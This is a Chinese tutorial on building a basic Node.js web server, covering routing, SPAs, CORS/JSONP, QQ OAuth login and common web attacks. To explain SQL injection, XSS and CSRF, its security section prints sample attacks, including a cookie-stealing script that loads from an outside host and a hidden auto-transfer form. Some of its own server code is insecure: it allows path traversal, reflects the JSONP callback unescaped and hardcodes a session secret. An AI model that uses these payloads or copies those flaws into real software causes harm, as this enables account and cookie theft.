从零构建一个 web 应用需要考虑的问题
现在前端发展日新月异,有了 nodejs 之后,甚至开始进入后端领域了。发展太快有好有坏,好处就是技术更新很快,工具特别多,用起来很方便,坏处就是不少人只会用工具,没有去深入了解原理,这样会导致基础知识缺失,一是使用工具遇到问题的时候,不知道问题出在哪里,二是当有问题找不到合适的工具来解决的时候,自己写不出一个这样的工具,只能干着急。
本文用 nodejs 写了一个简易的后端服务器,比不上 express 这类工具强大,仅仅为了便于学习基础原理,请谨慎用于生产环境。
考虑的几个要点有:
- 目录和路由管理
- 跨域问题
- 登录管理
- 安全问题
构建
mkdir basic && cd basic && npm init
新建一个文件夹,进入该文件夹并创建一个package.json
文件,选项全部选择默认,一气呵成- 新建一个文件叫
index.js
,使用你喜欢的编辑器打开并输入以下代码并保存
const http = require('http')
http.createServer((req, res) => {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('Hello World\n');
}).listen(8888);
console.log('Server is running at http://localhost:8888/');
- 打开终端,cd 到 basic 文件所在的目录,运行
node index.js
,在浏览器中打开http://localhost:8888/
看到Hello World
做完上面的3个步骤,使用 nodejs 搭建的一个最基本的 Web 应用就运行起来了,下面我们一边解决问题一边完善这个应用。
目录和路由管理
前后端分离
现在的 Web 应用,基本上都是前后端分离的,后端文件目录一般是怎样的呢?在浏览器中输入一个 URL 的时候,服务端如何判断请求的是前端的一个页面还是后端服务的一个接口呢?比如服务端接受到 http://localhost:8888/login
这个 URL 请求的时候,是返回登录页的 html 文件呢,还是进行登录逻辑的操作呢?
- 在 nginx 等 Web 服务器会让用户手动指定静态文件目录,一般在
static/
目录中放置静态文件,包括 html/css/js/image 等一切前端的文件。 - 后端接口一般会以
api/
开头提供接口服务,这样就能分辨一个 URL 到底是接口请求还是静态文件请求了。
SPA 大法好
现在最常见的前端框架 Vue/React 都默认提供 SPA(Single Page Application 单页应用) 应用,也就是整个网页都是一个页面,URL 的变化不再和以前一样需要后端返回新的页面,而是前端在检测到 URL 变化的时候动态更新页面的某一部分。
SPA 的好处:
- 不用重新加载新的页面
- 丝滑过渡
- 减轻服务端压力
缺点:
- 不利于 SEO,优化方案:SSR(Serve Side Render, 服务端渲染)
- 初次加载耗时增加,优化方案:骨架屏 等
- 页面导航需要自己实现,例如
window.history.pushState('')
,解决方案:vue-router/react-router
实现 SPA 有两种方法,一种就是 Hash 模式,另一种是 History 模式。
hash 模式
hash 指的是 window.location.hash
,如果我们在浏览器的控制台中输入 window.location.hash = 'qq'
会发现当前 URL 后加上了 #qq
。
URL 后面带上 #
表示一个锚点 anchor,原本的作用是用来将页面定位到 HTML 中 id='qq'
这样的元素的地方的。例:https://github.com/strapi/strapi#-requirements
hash 值的变化并不会让浏览器去请求服务器,而会触发 window
的 hashchange
事件,我们用 window.addEventListener('hashchange', function(){ //加载指定页面 })
就可以实现 URL 变化,不去请求后端也能获得页面更新了。
hash 模式的优点有:
- 兼容性好,达到 IE8
- Vue 和 React 的 router 都默认支持 hash 路由,因为 hash 模式不需要服务端进行任何设置和开发
缺点也很明显:
- 锚点功能和路由机制冲突
- 很丑
history
history 模式并没有 hash 模式的缺点,
缺点有一点,但都有比较好的解决方案:
- 只兼容 IE10 以上,因为
window.history.pushState('')
方法 IE10 以上才有,解决方案:用 location.hash 直接修改 hash 值的方式来代替 pushState - 后端需要开发量,但是很小,参考 https://router.vuejs.org/zh/guide/essentials/history-mode.html
写码时间
下面是 index.js 文件:
const http = require('http');
const url = require('url');
const fs = require('fs');
const path = require('path');
const config = require('./config');
http.createServer((req, res) => {
const reqUrl = url.parse(req.url);
if (/^\/api\//.test(reqUrl.pathname)) {
// 如果是 /api/ 开头的请求,则是接口请求
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end(reqUrl.href);
} else {
// 如果不是 /api/ 开头的请求,优先去 /static/ 文件夹中寻找静态文件,如果没有找到就返回 index.html
fs.readFile(config.staticDir + reqUrl.pathname, (err, data) => {
if (err) {
fs.readFile(config.staticDir + '/index.html', 'utf-8', (err, data) => {
if (err) {
console.log('We cannot open "index.html" file.')
}
res.writeHead(200, {
'Content-Type': 'text/html; charset=utf-8'
});
res.end(data) ;
})
} else {
res.writeHead(200, {
'Content-Type': config.contentTypes[path.extname(reqUrl.pathname)]
});
res.end(data);
}
});
}
}).listen(8888);
console.log(`Server is running at http://localhost:${config.port}/`);
下面是 config.js 文件
const config = {
port: 8888,
staticDir: './static',
contentTypes: {
'.html': 'text/html;charset=utf-8',
'.js': 'text/javascript',
'.css': 'text/css'
}
};
module.exports = config;
然后是 static/index.html 文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>test</title>
<link rel="stylesheet" href="./index.css">
</head>
<body>
<p class="p">首页</p>
<script src="./index.js"></script>
</body>
</html>
然后是 static/index.css 文件
.p {
color: red;
}
然后是 static/index.js 文件
console.log('首页');
跨域问题
什么是跨域问题
- 跨域,是指浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的,是浏览器对JavaScript实施的安全限制。
- 如果不进行配置则无法请求另一个域的接口。
- 域名、协议、端口均相同才算同源。
跨域问题怎么解决
跨域问题的解决方案: jsonp、CORS
jsonp
利用了 script
标签允许跨域的性质,请求服务端接口的时候 url 带上一个 jsonCallbackName,服务端返回数据的时候在外面包上这个函数名,直接上代码
const jsonp = (url, params, success) => {
const head = $('head');
const script = document.createElement('script');
const jsonCallbackName = 'jsonCallback_' + ~~(Math.random()*1000000);
head.appendChild(script);
script.src = getUrl(url, {...params, jsonCallbackName});
window[jsonCallbackName] = function(json) {
window[jsonCallbackName] = null;
head.removeChild(script);
success && success(json);
}
}
服务端也要做相应处理
// get 请求处理
if (pathname === '/api/get/1') {
const data = JSON.stringify({
code: 200,
data: href
});
if (params['jsonCallbackName']) {
res.end(`${params['jsonCallbackName']}(${data})`)
}
res.end(data);
}
jsonp 的最大的缺点是只能发 get 请求。
CORS
CORS 是 Cross-origin resource sharing
的简称,意为“跨域资源共享"。
浏览器把 http 请求分为简单请求和非简单请求,简单请求满足以下几点:
- 请求方式为 HEAD、POST 或者 GET
- http 头信息不超出一下字段:Accept、Accept-Language 、 Content-Language、 Last-Event-ID、 Content-Type(限于三个值:application/x-www-form-urlencoded、multipart/form-data、text/plain)
对于简单请求,浏览器直接发出 CORS 请求,具体就是在 header 中增加 Origin 字段,值是发起请求的页面的域。服务端根据 Origin 的值来确定是否允许跨域操作。如果允许则在返回中多加入两个 header:
Access-Control-Allow-Origin: 'http://localhost:8888'
Access-Control-Allow-Credentials: true
其中
Access-Control-Allow-Origin
字段是必须的,值一般设置为请求的 Origin 头的值,不推荐设置为*
, 一是不安全,二是不方便设置 cookieAccess-Control-Allow-Credentials
用来允许服务端跨域使用浏览器的 cookie,同时客户端必须设置xhr.withCredentials = true
才可以正常传输 cookie
对于非简单请求,则浏览器会自动先发出一个预检请求(preflight),比如我们通过设置 xhr.setRequestHeader('Content-type', 'application/json')
来开启非简单请求。请求的 Method 为 OPTIONS
,另外还会增加二个特殊的 header 字段
Access-Control-Request-Method: 'GET' // 如果有其他的特殊 Method 也需要加上,比如 PUT DELETE等,用逗号分开
Access-Control-Request-Headers: 'Content-type' // 如果有其他的特殊头需要手动加上,用逗号分开
预检请求在对 Origin
、Access-Control-Request-Method
和 Access-Control-Request-Headers
进行合法性判断后,就可以做出回应:
Access-Control-Allow-Origin: 'http://localhost:8000'
Access-Control-Allow-Methods: 'GET,POST,OPTIONS' // 返回所有支持的方法,避免再次预检
Access-Control-Request-Headers: 'Content-type'
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400 // 缓存时间,单位为秒
特别需要注意的是如果在浏览器中调试,需要开启缓存,才不会每次都去发起预检请求。
写码时间
先是前端的 get 和 post 方法
const get = (url, params, callback) => {
const xhr = new XMLHttpRequest();
xhr.open('GET', getUrl(url, params), true);
xhr.setRequestHeader('Content-type', 'application/json'); // 开启非简单请求
xhr.withCredentials = true;
xhr.send();
xhr.onreadystatechange = () => {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
callback && callback(xhr.responseText);
} else {
alert('出错了,状态码: ' + xhr.status);
}
}
};
}
const post = (url, params, callback) => {
const xhr = new XMLHttpRequest();
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-type', 'application/json'); // 开启非简单请求
xhr.withCredentials = true;
xhr.send(JSON.stringify(params));
xhr.onreadystatechange = () => {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
callback && callback(xhr.responseText);
} else {
alert('出错了,状态码: ' + xhr.status);
}
}
};
}
然后是后端的处理逻辑
const allowOrigins = ['http://localhost:8888', 'http://localhost:8889'];
if (req.headers.origin && allowOrigins.indexOf(req.headers.origin) > -1) {
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', true);
res.setHeader('Access-Control-Allow-Methods', 'GET,POST,OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
res.setHeader('Access-Control-Max-Age', 24 * 3600);
}
登录管理
如果使用第三方授权登录,例如 QQ 互联,那么用户、应用服务器、QQ 互联这三方有以下几个规则:
- 应用服务器不需要知道我的用户名和密码,所以登录页面应该在 QQ 互联提供的页面上
- 应用必须要获得 QQ 互联的授权才能使用服务,应用违规可以取消授权
一个 OAuth 2.0 的应用如下
写码时间
const NodeSession = require('node-session');
const session = new NodeSession({
secret: 'test'
});
http.createServer((req, res) => {
session.startSession(req, res, () => {
// ...
// 登录
if (pathname === '/api/login') {
res.writeHead(301, {
Location: `https://graph.qq.com/oauth2.0/authorize?response_type=code&client_id=${config.qqConnect.AppID}&redirect_uri=${encodeURIComponent('http://localhost:8888/api/qqcallback')}&state=${csrf_token}`
});
res.end();
return
}
// 登录成功后的回调,带上了 authorization_code
if (pathname === '/api/qqcallback') {
if (params.state === csrf_token) {
// 通过 authorization_code 获取 access_token
request.get({
url: `https://graph.qq.com/oauth2.0/token?grant_type=authorization_code&client_id=${config.qqConnect.AppID}&client_secret=${config.qqConnect.AppKey}&code=${params.code}&redirect_uri=${encodeURIComponent('http://localhost:8888/api/qqcallback')}`
}, (err, response) => {
if (err) {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('csrf token 验证失败');
} else {
response = parseQuery(response.body);
req.session.put('access_token', response.access_token);
console.log('csrf_token: ' + JSON.stringify(response));
// 通过 access_token 获取 openid
request.get({
url: `https://graph.qq.com/oauth2.0/me?access_token=${response.access_token}`
}, (err, openidResponse) => {
if (err) {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('csrf token 验证失败');
} else {
openidResponse = JSON.parse(openidResponse.body.replace('callback(', '').replace(');', ''));
req.session.put('openid', openidResponse.openid);
console.log('openid: ' + JSON.stringify(openidResponse.openid));
res.writeHead(301, {
Location: 'http://localhost:8888/'
});
res.end();
return
}
})
}
})
} else {
res.writeHead(200, {'Content-Type': 'application/json'});
res.end(JSON.stringify({
code: 10002,
msg: 'csrf token 验证失败'
}));
}
return
}
// 通过 access_token 和 openid 获取用户昵称等
if (pathname === '/api/getUserInfo') {
const access_token = req.session.get('access_token', '');
const openid = req.session.get('openid', '');
if (access_token && openid) {
request.get({
url: `https://graph.qq.com/user/get_user_info?access_token=${access_token}&oauth_consumer_key=${config.qqConnect.AppID}&openid=${openid}`
}, (err, userInfo) => {
userInfo = userInfo.body;
res.writeHead(200, {'Content-Type': 'application/json'});
if (err) {
res.end(JSON.stringify({
code: 10001,
msg: '获取用户信息失败'
}));
return
}
res.end(userInfo);
})
} else {
res.writeHead(200, {'Content-Type': 'application/json'});
res.end(JSON.stringify({
code: 10000,
msg: '未登录'
}));
}
return
}
缓存问题
安全问题
所有的输入都是不可靠的。
如果太相信输入,不对输入做校验或者处理,很容易受到 SQL 注入、XSS、CSRF 这三类常见攻击。
SQL 注入
所谓 SQL 注入式攻击,就是攻击者把SQL命令插入到 Web 表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的 SQL 命令。 攻击者通过在应用程序预先定义好的 SQL 语句结尾加上额外的 SQL 语句元素,欺骗数据库服务器执行非授权的查询,篡改命令。
案例
-- 假设的登录查询
SELECT * FROM users WHERE login = 'victor' AND password = '123
-- Sever端代码
String sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";
-- 输入字符
formusr = ' or 1=1
formpwd = anything
-- 实际的查询代码
SELECT * FROM users WHERE username = ' ' or 1=1 AND password = 'anything'
防范
- 服务端特殊字符过滤: <、>、* 、& 等
- 使用 ORM 框架
- 参数化 SQL 查询语句
XSS 攻击
XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。XSS 分为反射型和持久型。
反射型案例
对于用户输入直接返回
<?php
if (! isset($_GET['name'])) {
header('Location: index.php?name=world');
exit();
}
$name = $_GET['name'];
echo "Hello $name";
?>
用户访问 xss.php?name=%3cscript%3Ealert(document.cookie)%3C/script%3E
就直接打印出了 cookie
存储型 XSS
用户填写个性签名,填了一个 <script src="http://mysite.com/getcookie.js"></script>
,而 getcookie.js 可以直接获取到 document.cookie
并保存在黑客的服务器。这样每个用户访问该用户的个性签名的页面时候,都会被记录下 cookie。存储型 XSS 造成的影响范围比反射型 XSS 的更广。
防范
- 前端敏感字符串过滤
- 后端敏感字符串过滤
CSRF 漏洞
CSRF(Cross-site request forgery),中文名称:跨站请求伪造。指的是攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账等造成个人隐私泄露甚至财产安全。
案例
如果用户访问了某一个银行的网站忘记登出了, 然后又访问了一个恶意网站,而恶意网站中存在以下代码,那就会发生 CSRF 攻击
<html>
<head>
<script type="text/javascript">
function steal() {
iframe = document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>
防范
- 验证码机制
- csrf_token 机制
<?php
$hash = md5($_COOKIE['cookie']);
?>
<form method="POST" action="transfer.php">
<input type="text" name="toBankId">
<input type="text" name="money">
<input type="hidden" name="hash" value="<?=$hash;?>">
<input type="submit" name="submit" value="Submit">
</form>